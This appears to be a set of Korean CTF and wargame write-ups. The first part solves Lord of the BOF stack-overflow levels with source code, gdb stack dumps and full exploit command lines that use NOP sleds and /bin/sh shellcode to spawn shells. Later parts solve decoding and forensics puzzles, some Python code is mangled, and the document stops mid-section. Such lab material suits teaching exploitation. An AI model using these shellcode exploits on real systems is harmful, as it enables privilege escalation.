$ ./darkelf `python -c 'print "a"*47'`
stack is still your friend.
$ ./darkelf `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault














exploit


argv[1] 주소 확인

gdb를 이용하여 argv가 가리키는 주소를 찾습니다.

(gdb) b *main
Breakpoint 1 at 0x8048500

(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/wolfman/darkelf2 `python -c 'print "a"*47+"\xbf"'`
/bin/bash: /home/goblin/.bashrc: Permission denied

Breakpoint 1, 0x8048500 in main ()

(gdb) stepi
0x8048501 in main ()

(gdb) i reg $esp
esp            0xbffffad8       -1073743144

(gdb) i reg $ebp
ebp            0xbffffaf8       -1073743112

(gdb) x/100x $esp

    ==========================================================================
    0xbffffad8:     0xbffffaf8      0x400309cb      0x00000002      0xbffffb24
    0xbffffae8:     0xbffffb30      0x40013868      0x00000002      0x08048450
    0xbffffaf8:     0x00000000      0x08048471      0x08048500      0x00000002
    0xbffffb08:     0xbffffb24      0x08048390      0x0804864c      0x4000ae60
    0xbffffb18:     0xbffffb1c      0x40013e90      0x00000002      0xbffffc1a
    0xbffffb28:     0xbffffc31      0x00000000      0xbffffc62      0xbffffc84
    0xbffffb38:     0xbffffc8e      0xbffffc9c      0xbffffcbb      0xbffffccb
    0xbffffb48:     0xbffffce4      0xbffffd00      0xbffffd1f      0xbffffd2a
    0xbffffb58:     0xbffffd38      0xbffffd7a      0xbffffd8d      0xbffffda2
    0xbffffb68:     0xbffffdb2      0xbffffdbf      0xbffffddd      0xbffffde8
    0xbffffb78:     0xbffffdf9      0xbffffe0b      0xbffffe1a      0xbffffe22
    0xbffffb88:     0x00000000      0x00000003      0x08048034      0x00000004
    0xbffffb98:     0x00000020      0x00000005      0x00000006      0x00000006
    0xbffffba8:     0x00001000      0x00000007      0x40000000      0x00000008
    0xbffffbb8:     0x00000000      0x00000009      0x08048450      0x0000000b
    0xbffffbc8:     0x000001f9      0x0000000c      0x000001f9      0x0000000d
    0xbffffbd8:     0x000001f9      0x0000000e      0x000001f9      0x00000010
    0xbffffbe8:     0x0fabfbff      0x0000000f      0xbffffc15      0x00000000
    0xbffffbf8:     0x00000000      0x00000000      0x00000000      0x00000000
    0xbffffc08:     0x00000000      0x00000000      0x00000000      0x38366900
    0xbffffc18:     0x682f0036      0x2f656d6f      0x666c6f77      0x2f6e616d
    0xbffffc28:     0x6b726164      0x32666c65      0x61616100      0x61616161
    0xbffffc38:     0x61616161      0x61616161      0x61616161      0x61616161
                        ^ argv[1] = 0xbffffc41
    0xbffffc48:     0x61616161      0x61616161      0x61616161      0x61616161
    0xbffffc58:     0x61616161      0x61616161      0x454c00bf      0x504f5353
    ==========================================================================














RET 주소를 argv[1] 주소로 변경하여 공격 진행

nop (19 byte) + shellcode (25 byte) + argv[1] address

$ ./darkelf `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x41\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀A▒▒▒

bash$ whoami
darkelf
bash$ my-pass
euid = 506
kernel crashed
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Source Analysis

해당 문제 소스코드는 다음과 같습니다.

/*
    The Lord of the BOF : The Fellowship of the BOF
    - orge
    - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // here is changed!
    if(strlen(argv[0]) != 77){
        printf("argv[0] error\n");
        exit(0);
    }

    // egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

    // buffer hunter
    memset(buffer, 0, 40);
}














Memory Structure

스택에 다음과 같이 들어가게 됩니다.

================
LOW
----------------
Buffer  (40byte)
SFP     (4byte)
RET     (4byte)
argc    (4byte)
argv    (4byte)
----------------
HIGH
================














ln을 통한 우회 (길이 제한)

버퍼오버플로우가 일어나는 지점을 확인합니다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행해야 합니다.

$ ./orge `python -c 'print "a"*47'`
argv[0] error

$ ./orge `python -c 'print "a"*47+"\xbf"'`
argv[0] error





argv[0]의 길이가 77 바이트를 만족해야 버퍼오버플로우를 진행할 수 있습니다.

77바이트의 길이를 가진 파일을 하나 생성하여 ln 명령으로 링크를 걸어줍니다.
(앞에 ./가 있으므로 75바이트를 생성하면 됩니다.)

$ ln orge `python -c 'print "a"*75'`
$ ls
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  orge  orge.c
$ ./`python -c 'print "a"*75'` a
stack is still your friend.














exploit


argv[1] 주소 확인

gdb를 이용하여 argv가 가리키는 주소를 찾습니다.

(gdb) b *main
Breakpoint 1 at 0x8048500

(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/darkelf/./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "a"*47+"\xbf"'`
/bin/bash: /home/goblin/.bashrc: Permission denied

Breakpoint 1, 0x8048500 in main ()

(gdb) stepi
0x8048501 in main ()

(gdb) i reg $esp
esp            0xbffffa48       -1073743288

(gdb) i reg $ebp
ebp            0xbffffa68       -1073743256

(gdb) x/100x $esp

==========================================================================
0xbffffa48:     0xbffffa68      0x400309cb      0x00000002      0xbffffa94
0xbffffa58:     0xbffffaa0      0x40013868      0x00000002      0x08048450
0xbffffa68:     0x00000000      0x08048471      0x08048500      0x00000002
0xbffffa78:     0xbffffa94      0x08048390      0x0804866c      0x4000ae60
0xbffffa88:     0xbffffa8c      0x40013e90      0x00000002      0xbffffb90
0xbffffa98:     0xbffffbec      0x00000000      0xbffffc1d      0xbffffc3f
0xbffffaa8:     0xbffffc49      0xbffffc57      0xbffffc76      0xbffffc86
0xbffffab8:     0xbffffc9f      0xbffffcbb      0xbffffcda      0xbffffce5
0xbffffac8:     0xbffffcf3      0xbffffd35      0xbffffd48      0xbffffd5d
0xbffffad8:     0xbffffd6d      0xbffffd7a      0xbffffd98      0xbffffda3
0xbffffae8:     0xbffffdb4      0xbffffdc6      0xbffffdd5      0xbffffddd
0xbffffaf8:     0x00000000      0x00000003      0x08048034      0x00000004
0xbffffb08:     0x00000020      0x00000005      0x00000006      0x00000006
0xbffffb18:     0x00001000      0x00000007      0x40000000      0x00000008
0xbffffb28:     0x00000000      0x00000009      0x08048450      0x0000000b
0xbffffb38:     0x000001fa      0x0000000c      0x000001fa      0x0000000d
0xbffffb48:     0x000001fa      0x0000000e      0x000001fa      0x00000010
0xbffffb58:     0x0fabfbff      0x0000000f      0xbffffb8b      0x00000000
0xbffffb68:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb78:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb88:     0x69000000      0x00363836      0x6d6f682f      0x61642f65
0xbffffb98:     0x6c656b72      0x2f2e2f66      0x61616161      0x61616161
0xbffffba8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffffbb8:     0x61616161      0x61616161      0x61616161      0x61616161
                                                   argv[1] = 0xbffffbc7 ^
0xbffffbc8:     0x61616161      0x61616161      0x61616161      0x61616161
==========================================================================














RET 주소를 argv[1] 주소로 변경하여 공격 진행

nop (19 byte) + shellcode (25 byte) + argv[1] address

$ ./`python -c 'print "a"*75'` `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xc7\xfb\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀▒▒▒▒

bash$ whoami
orge
bash$ my-pass
euid = 507
timewalker
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Source Analysis

해당 문제 소스코드는 다음과 같습니다.

/*
    The Lord of the BOF : The Fellowship of the BOF
    - troll
    - check argc + argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    // here is changed
    if(argc != 2){
        printf("argc must be two!\n");
        exit(0);
    }

    // egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

    // buffer hunter
    memset(buffer, 0, 40);

    // one more!
    memset(argv[1], 0, strlen(argv[1]));
}














Memory Structure

스택에 다음과 같이 들어가게 됩니다.

================
LOW
----------------
Buffer  (40byte)
SFP     (4byte)
RET     (4byte)
argc    (4byte)
argv    (4byte)
----------------
HIGH
================














argv[0]을 통한 우회 (argv[1] 초기화)

버퍼오버플로우가 일어나는 지점을 확인합니다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행해야 합니다.

$ ./troll `python -c 'print "a"*47'`
stack is still your friend.

$ ./troll `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault





argv[1]을 초기화 해버리기 때문에 argv[1]로 버퍼오버플로우를 진행할 수 없습니다.

argv[0]에 쉘코드를 삽입하고 RET 주소를 argv[0] 주소로 변경하여 공격해야 합니다.










exploit


argv[0]에 쉘코드 삽입

기존에 사용한 쉘코드에는 x2f 값이 있기 때문에 정상적으로 쉘코드가 동작하지 않습니다.

x2f가 없는 쉘코드로 파일명을 생성하도록 합니다.

$ ln troll `python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`
$ ls
troll
troll.c
????????????????????????????????????????????????????????????????????????????????????????????????????▒▒▒t$▒?▒i▒])ɱ?1E??E??▒?▒▒b??|?G?▒Rp▒▒??8{▒?Q??▒▒??-▒ѶO?▒▒▒4@▒QM▒?▒

$ ./`python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` a
stack is still your friend.





(gdb) b *main
Breakpoint 1 at 0x8048500

(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/orge/▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒t$▒▒i▒])ɱ
                          1EE▒▒▒▒b▒▒|G▒▒Rp▒▒8{▒Q▒▒▒▒-▒ѶO▒▒▒▒4@▒QM▒▒▒ `python -c 'print "a"*47+"\xbf"'`
/bin/bash: /home/goblin/.bashrc: Permission denied

Breakpoint 1, 0x8048500 in main ()

(gdb) stepi
0x8048501 in main ()

(gdb) i reg $esp
esp            0xbffff9a8       -1073743448

(gdb) i reg $ebp
ebp            0xbffff9c8       -1073743416

(gdb) x/100x $esp

==========================================================================
0xbffff9a8:     0xbffff9c8      0x400309cb      0x00000002      0xbffff9f4
0xbffff9b8:     0xbffffa00      0x40013868      0x00000002      0x08048450
0xbffff9c8:     0x00000000      0x08048471      0x08048500      0x00000002
0xbffff9d8:     0xbffff9f4      0x08048390      0x0804866c      0x4000ae60
0xbffff9e8:     0xbffff9ec      0x40013e90      0x00000002      0xbffffae7
0xbffff9f8:     0xbffffb9d      0x00000000      0xbffffbce      0xbffffbf0
0xbffffa08:     0xbffffbfa      0xbffffc08      0xbffffc27      0xbffffc34
0xbffffa18:     0xbffffc4d      0xbffffc69      0xbffffc88      0xbffffc93
0xbffffa28:     0xbffffca1      0xbffffce3      0xbffffcf3      0xbffffd08
0xbffffa38:     0xbffffd18      0xbffffd22      0xbffffd40      0xbffffd4b
0xbffffa48:     0xbffffd5c      0xbffffd6b      0xbffffd7a      0xbffffd83
0xbffffa58:     0x00000000      0x00000003      0x08048034      0x00000004
0xbffffa68:     0x00000020      0x00000005      0x00000006      0x00000006
0xbffffa78:     0x00001000      0x00000007      0x40000000      0x00000008
0xbffffa88:     0x00000000      0x00000009      0x08048450      0x0000000b
0xbffffa98:     0x000001fb      0x0000000c      0x000001fb      0x0000000d
0xbffffaa8:     0x000001fb      0x0000000e      0x000001fb      0x00000010
0xbffffab8:     0x0fabfbff      0x0000000f      0xbffffae2      0x00000000
0xbffffac8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffad8:     0x00000000      0x00000000      0x36690000      0x2f003638
0xbffffae8:     0x656d6f68      0x67726f2f      0x90902f65      0x90909090
0xbffffaf8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb08:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb18:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb28:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb38:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb48:     0x90909090      0x90909090      0x90909090      0xc5d99090
0xbffffb58:     0xf42474d9      0x69c315b8      0xc9295dd7      0x45310bb1
0xbffffb68:     0x1a45031a      0xe204c583      0x8f62a9e0      0x47137c93
0xbffffb78:     0x7052e38e      0x1717ccb8      0x85f77b38      0xa98e1551
0xbffffb88:     0x2d9801f3      0x4fb6d1f3      0xfce7bf9a      0x51af4034
0xbffffb98:     0xd682a14d      0x61616100      0x61616161      0x61616161
0xbffffba8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffffbb8:     0x61616161      0x61616161      0x61616161      0x61616161
                                        ^ argv[0] = 0xbffffbbf
==========================================================================








RET 주소를 argv[0] 주소로 변경하여 공격 진행

filename : nop (100 byte) + shellcode (70 byte)

argv[1] : nop (19 byte) + shellcode (25 byte) + argv[0] address

$ ./`python -c 'print "\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xbf\xfb\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀▒▒▒▒

bash$ whoami
troll
bash$ my-pass
euid = 508
aspirin
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Source Analysis

해당 문제 소스코드는 다음과 같습니다.

/*
    The Lord of the BOF : The Fellowship of the BOF
    - vampire
    - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
    char buffer[40];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    // here is changed!
    if(argv[1][46] == '\xff')
    {
        printf("but it's not forever\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}














Memory Structure

스택에 다음과 같이 들어가게 됩니다.

================
LOW
----------------
Buffer  (40byte)
SFP     (4byte)
RET     (4byte)
argc    (4byte)
argv    (4byte)
----------------
HIGH
================














Segmentation fault

버퍼오버플로우가 일어나는 지점을 확인합니다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행해야 합니다.

$ ./vampire2 `python -c 'print "a"*47'`
stack is still your friend.

$ ./vampire2 `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault














exploit


argv[1]의 주소값 변경

argv[1]의 주소가 \xbf\xff로 시작하기 때문에 argv[1]에 nop를 100000만큼 삽입하여 주소값을 \xbf\xfe로 시작하도록 합니다.

$ ./vampire2 `python -c 'print "a"*47+"\xbf"+"\x90"*100000'`
buffer : 0xbffe7460
argv[1]: 0xbffe74d8

Segmentation fault














RET 주소를 argv[1] 주소로 변경하여 공격 진행

nop (44 byte) + argv[1] address + nop (100000 byte) + shellcode (25 byte)

$ ./vampire `python -c 'print "\x90"*44+"\xd8\x74\xfe\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀▒▒▒▒

bash$ whoami
vampire
bash$ my-pass
euid = 509
music world
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	[csaw] Transfer

	[tuctf] Neverending Crypto
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[csaw] Transfer








source analysis

pcap 내용을 확인해보니 python 코드와 랜덤한 문자열을 확인할 수 있습니다. 아마도 python 코드로 인코딩된 데이터 값이 랜덤한 문자열인 것으로 보입니다.

python 코드

code-block:: python


import string
import random
from base64 import b64encode, b64decode

FLAG = ‘flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}’

enc_ciphers = [‘rot13’, ‘b64e’, ‘caesar’]
# dec_ciphers = [‘rot13’, ‘b64d’, ‘caesard’]


	def rot13(s):

	
	_rot13= string.maketrans(

	“ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz”,
“NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm”)



return string.translate(s, _rot13)



	def b64e(s):

	return b64encode(s)

	def caesar(plaintext, shift=3):

	alphabet= string.ascii_lowercase
shifted_alphabet= alphabet[shift:] + alphabet[:shift]
table = string.maketrans(alphabet, shifted_alphabet)
return plaintext.translate(table)

	def encode(pt, cnt=50):

	tmp = ‘2{}’.format(b64encode(pt))
for cnt in xrange(cnt):


c= random.choice(enc_ciphers)
i= enc_ciphers.index(c) + 1
_tmp= globals()[c](tmp)
tmp= ‘{}{}’.format(i, _tmp)


return tmp



	if __name__ == ‘__main__’:

	print encode(FLAG, cnt=?)






random 문자열

code-block:: console


2Mk16Sk5iakYxVFZoS1RsWnZXbFZa......(중략)











decode

1번 문제의 경우 morse 부호를 디코딩해야 하기 때문에 morse_talk를 사용해서 디코딩을 진행하였습니다. 총 50문제이기 때문에 50번 디코딩을 진행하였습니다.

code-block:: python


import morse_talk as mtalk


	def decode_morse():

	#print ru(s,”text:”)
s.send(“123n”)
#print ru(s, “n”)
rec_data = ru(s, “n:”)
morse_data = rec_data.split(‘  decrypted?’)[0].split(‘What is ‘)[1]
#print morse_data
send_data = mtalk.decode(morse_data.split(‘   ‘)[0])
for l in morse_data.split(‘   ‘)[1:]:


send_data += ‘ ‘ + mtalk.decode(l)


#print send_data
s.send(send_data+’n’)
return ru(s,’n’)



	for l in range(50):

	decode_morse()















decode rot13

2번 문제의 경우 rot13 디코딩을 해야 하는데 기호까지 같이 디코딩을 진행하여야 하기 때문에 codecs에 있는 rot13이 아닌 직접 string에 있는 maketrans를 이용해서 디코딩을 진행하였습니다.

code-block:: python


import string


	def decode_morse():

	s = s.replace(“’”,”`”)
rot13 = string.maketrans(


‘{|}~ !”#$%&`()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZnopqrstuvwxyz’,
‘nopqrstuvwxyz{|}~ !”#$%&`()*+,-./0123NOPQRSTUVWXYZABCDEFGHIJKLMabcdefghijklm’)


result = string.translate(s, rot13)
return result



	for m in range(51):

	decode_rot13()
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[tuctf] Neverending Crypto








nc client

nc를 통해 받은 데이터를 파싱해서 디코딩해야하기 때문에 nc client를 사용해야 합니다.

code-block:: python


import socket

PORT = 24069
HOSTNAME = ‘146.148.102.236’


	def tcp(ip, port):

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(( HOSTNAME, PORT ))
return s

	def ru(s, term):

	o =  ‘’
while True:


t = s.recv(1)
o += t
if term in o or len(t)==0:


return o









s = tcp(HOSTNAME,PORT)













decode morse

1번 문제의 경우 morse 부호를 디코딩해야 하기 때문에 morse_talk를 사용해서 디코딩을 진행하였습니다. 총 50문제이기 때문에 50번 디코딩을 진행하였습니다.

code-block:: python


import morse_talk as mtalk


	def decode_morse():

	#print ru(s,”text:”)
s.send(“123n”)
#print ru(s, “n”)
rec_data = ru(s, “n:”)
morse_data = rec_data.split(‘  decrypted?’)[0].split(‘What is ‘)[1]
#print morse_data
send_data = mtalk.decode(morse_data.split(‘   ‘)[0])
for l in morse_data.split(‘   ‘)[1:]:


send_data += ‘ ‘ + mtalk.decode(l)


#print send_data
s.send(send_data+’n’)
return ru(s,’n’)



	for l in range(50):

	decode_morse()















decode rot13

2번 문제의 경우 rot13 디코딩을 해야 하는데 기호까지 같이 디코딩을 진행하여야 하기 때문에 codecs에 있는 rot13이 아닌 직접 string에 있는 maketrans를 이용해서 디코딩을 진행하였습니다.

code-block:: python


import string


	def decode_morse():

	s = s.replace(“’”,”`”)
rot13 = string.maketrans(


‘{|}~ !”#$%&`()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZnopqrstuvwxyz’,
‘nopqrstuvwxyz{|}~ !”#$%&`()*+,-./0123NOPQRSTUVWXYZABCDEFGHIJKLMabcdefghijklm’)


result = string.translate(s, rot13)
return result



	for m in range(51):

	decode_rot13()
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	[defcamp] try harder

	[trendmicro] fix pdf

	[trendmicro] poison ivy pcap
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[defcamp] try harder

먼저 2개의 파일을 다운로드 할 수 있도록 되어 있네요.

1>misc200.part0.jpg.gz
2>part3.zip

1번째 파일은 압축을 푸니 확장자는 jpg로 되어있으나, x86 bootsector file이었고,
2번재 파일은 패스워드가 걸려있어서 압축이 안풀리네요.

그럼 bootsector를 binwalk라는 Firmware Analysis Tool로 분석해봅니다.
※ 돌려보면 아시겠지만 시간이 엄청 오래걸립니다.

$ binwalk -e misc200.jpg
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
362319872     0x15989000      Zip archive data, at least v2.0 to extract, compressed size: 106482,  uncompressed size: 106518, name: "emalware.042"
503414784     0x1E018000      Zip archive data, at least v2.0 to extract, compressed size: 63746,  uncompressed size: 80643, name: "3pm.redrah-yrt"
503478634     0x1E02796A      End of Zip archive





4개 파일이 떨궈진 것을 확인할 수 있습니다.

$ ls _misc200.jpg.extracted
15989000.zip  1E018000.zip  3pm.redrah-yrt  emalware.042





그 중에 3pm.redrah-yrt가 수상하네요. 파일명을 보니 문제 제목을 거꾸로 써놨네요.
먼저 이상한 파일일 경우에 항상 하는 게 있죠. strings~

$ strings 3pm.redrah-yrt
9TIT2
try-harder.mp3COMM
aHR0cDovL2RjdGYuZGVmLmNhbXAvX19kbmxkX18yMDE1X18vcGFydDEuaHRtbATXXX
TRACKTOTAL
TCOP
TLAN
TPUB
Info
 "$(*+/1379;?@BFHJNPRUWY]_aegilnptvx|~
...(중략)....





먼가 저 strings가 수상한 냄새가 나네요.
base64로 디코딩을 한 결과 다음과 같은 주소가 나옵니다. (https://www.base64decode.org/)
http://dctf.def.camp/__dnld__2015__/part1.html

해당 주소로 접속하면 다음과 같은 텍스트를 떨굽니다.

Capture the       Flag (CTF)         is a special        kind     of information    security           competitions. There are   three common   types of CTFs: Jeopardy, Attack-Defence and mixed.
Jeopardy-style    CTFs has          a         couple of          questions         (tasks)   in           range of           categories.        For example,      Web,     Forensic,           Crypto, Binary or something       else. Team can    gain some points for every         solved task. More points for more complicated        tasks    usually.  The next task in chain can          be           opened only after some team      solve previous    task.     Then     the game time   is over sum          of        points shows you          a CTF winer. Famous example       of such CTF is Defcon CTF quals.
Well,     attack-defence is another interesting kind  of competitions.  Here     every team           has      own     network(or only one host)          with vulnarable services. Your team has time           for       patching your    services and developing  exploits usually.  So,           then organizers connects participants of   competition and the       wargame           starts! You should          protect  own red herring  for defence points and hack           opponents for attack      points.  Historically this is           a first type of     CTFs,           everybody knows about DEF CON CTF - something like a World Cup of all    other           competitions.
Mixed competitions may vary possible formats.      It         may be something like wargame           with special       time     for       task-based elements (like UCSB iCTF).
CTF      games   often    touch on          many other aspects of information           security:           cryptography, stego, binary         analysis, reverse engeneering, mobile        security and      others.  Good    teams generally have      strong   skills     and      experience in     all these issues.
All        rights reserved   to ctftime.org
Enjoy    this CTF and      get       in the final round!





먼가 tab과 띄어쓰기로 이루어져 있군요. (writeup을 보고 그러려니 하지만 이런걸 어떻게 유추하는거죠?)
띄어쓰기를 0으로 치환하고 tab을 1로 치환한 후 8비트씩 잘라봅니다.

x = open('part1.txt', 'rb').read()
for i in range(256):
    if i==ord(' ') or i==ord('\t'):
        continue
    x=x.replace(chr(i), '')

x = x.replace(' ','0')
x = x.replace('\t','1')
x = x +'0'
print x
n=""
for l in range(len(x)/8):
    l = l*8
    m = x[l:l+8]
    n +=chr(int(m,2))
    print n





Second part in misc200part2.zip 라는 값이 뜨게 됩니다.

http://dctf.def.camp/__dnld__2015__/misc200part2.zip
해당 주소로 접속하여 misc200part2.zip 파일을 다운로드 받습니다.

다운 받은 파일을 압축 해제하면 다음과 같이 2개의 파일이 풀립니다.
일단 file1.bmp파일을 열어보니 그냥 이상한 그림 파일이군요. (여기에 패스워드가 있을 줄 알았는데.....)

[image: ../_images/misc-01_1.png]
뭔가 file2가 해결 실마리가 될거 같네요.

$ ls -al
-rw-rw-r-- 1 joizel joizel 338202 Oct  3 00:09 file1.bmp
-rw-rw-r-- 1 joizel joizel 338202 Oct  3 00:19 file2





파일 크기가 같은 걸로 보아 뭔가 냄새가 나는군요.
hexdump로 헤더 부분을 확인해보니, file2의 헤더부분이 00으로 채워져있어, file1.bmp의 헤더 부분을 file2에 덮어씌어 보겠습니다.

[image: ../_images/misc-01_2.png]
아 패스워드가 드디어 나오네요.

binary_and_xor_is_how_we_all_start

이제 아까 암호 압축이 되어 있던 파일에 패스워드를 넣었더니 정상적으로 압축이 풀립니다.
압축이 풀리고 part3.jpg에 패스워드가 보이네요.
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[trendmicro] fix pdf

일단 pdf를 받아서 열어보려고 하니 정상적으로 열리지 않더군요.

exiftool로 pdf파일을 열어보니 Warning 메시지를 띄우네요. Invalid xref table이라고 합니다. 뭔가 레퍼런스가 정상적이지 않은가 봅니다.

$ exiftool fix_my_pdf.pdf
ExifTool Version Number         : 9.46
File Name                       : fix_my_pdf.pdf
Directory                       : .
File Size                       : 32 kB
File Modification Date/Time     : 2015:09:25 23:44:33-04:00
File Access Date/Time           : 2015:09:29 20:27:16-04:00
File Inode Change Date/Time     : 2015:09:26 00:19:24-04:00
File Permissions                : rw-rw-r--
File Type                       : PDF
MIME Type                       : application/pdf
PDF Version                     : 1.3
Linearized                      : No
Warning                         : Invalid xref table





pdfextract를 했더니 다음과 같이 6개의 stream 파일과 2개의 이미지 파일을 떨굽니다.

$ pdfextract fix_my_pdf.pdf
[error] Breaking on: "stream\nx\x01\xED..." at offset 0x1581
[error] Last exception: [Origami::InvalidObjectError] Cannot determine object (no:13,gen:0) type
Extracted 6 PDF streams to 'fix_my_pdf.dump/streams'.
Extracted 0 scripts to 'fix_my_pdf.dump/scripts'.
Extracted 0 attachments to 'fix_my_pdf.dump/attachments'.
Extracted 0 fonts to 'fix_my_pdf.dump/fonts'.
Unable to decode image (stream 11). Invalid indexed palette table
Extracted 2 images to 'fix_my_pdf.dump/images'.





떨군 파일 중에 streams에 있는 내용을 확인해보니 stream_2.dmp에 <xmpGImg:image> 태그에 /9j/로 시작하는 데이터가 들어있습니다.

<rdf:li rdf:parseType="Resource">
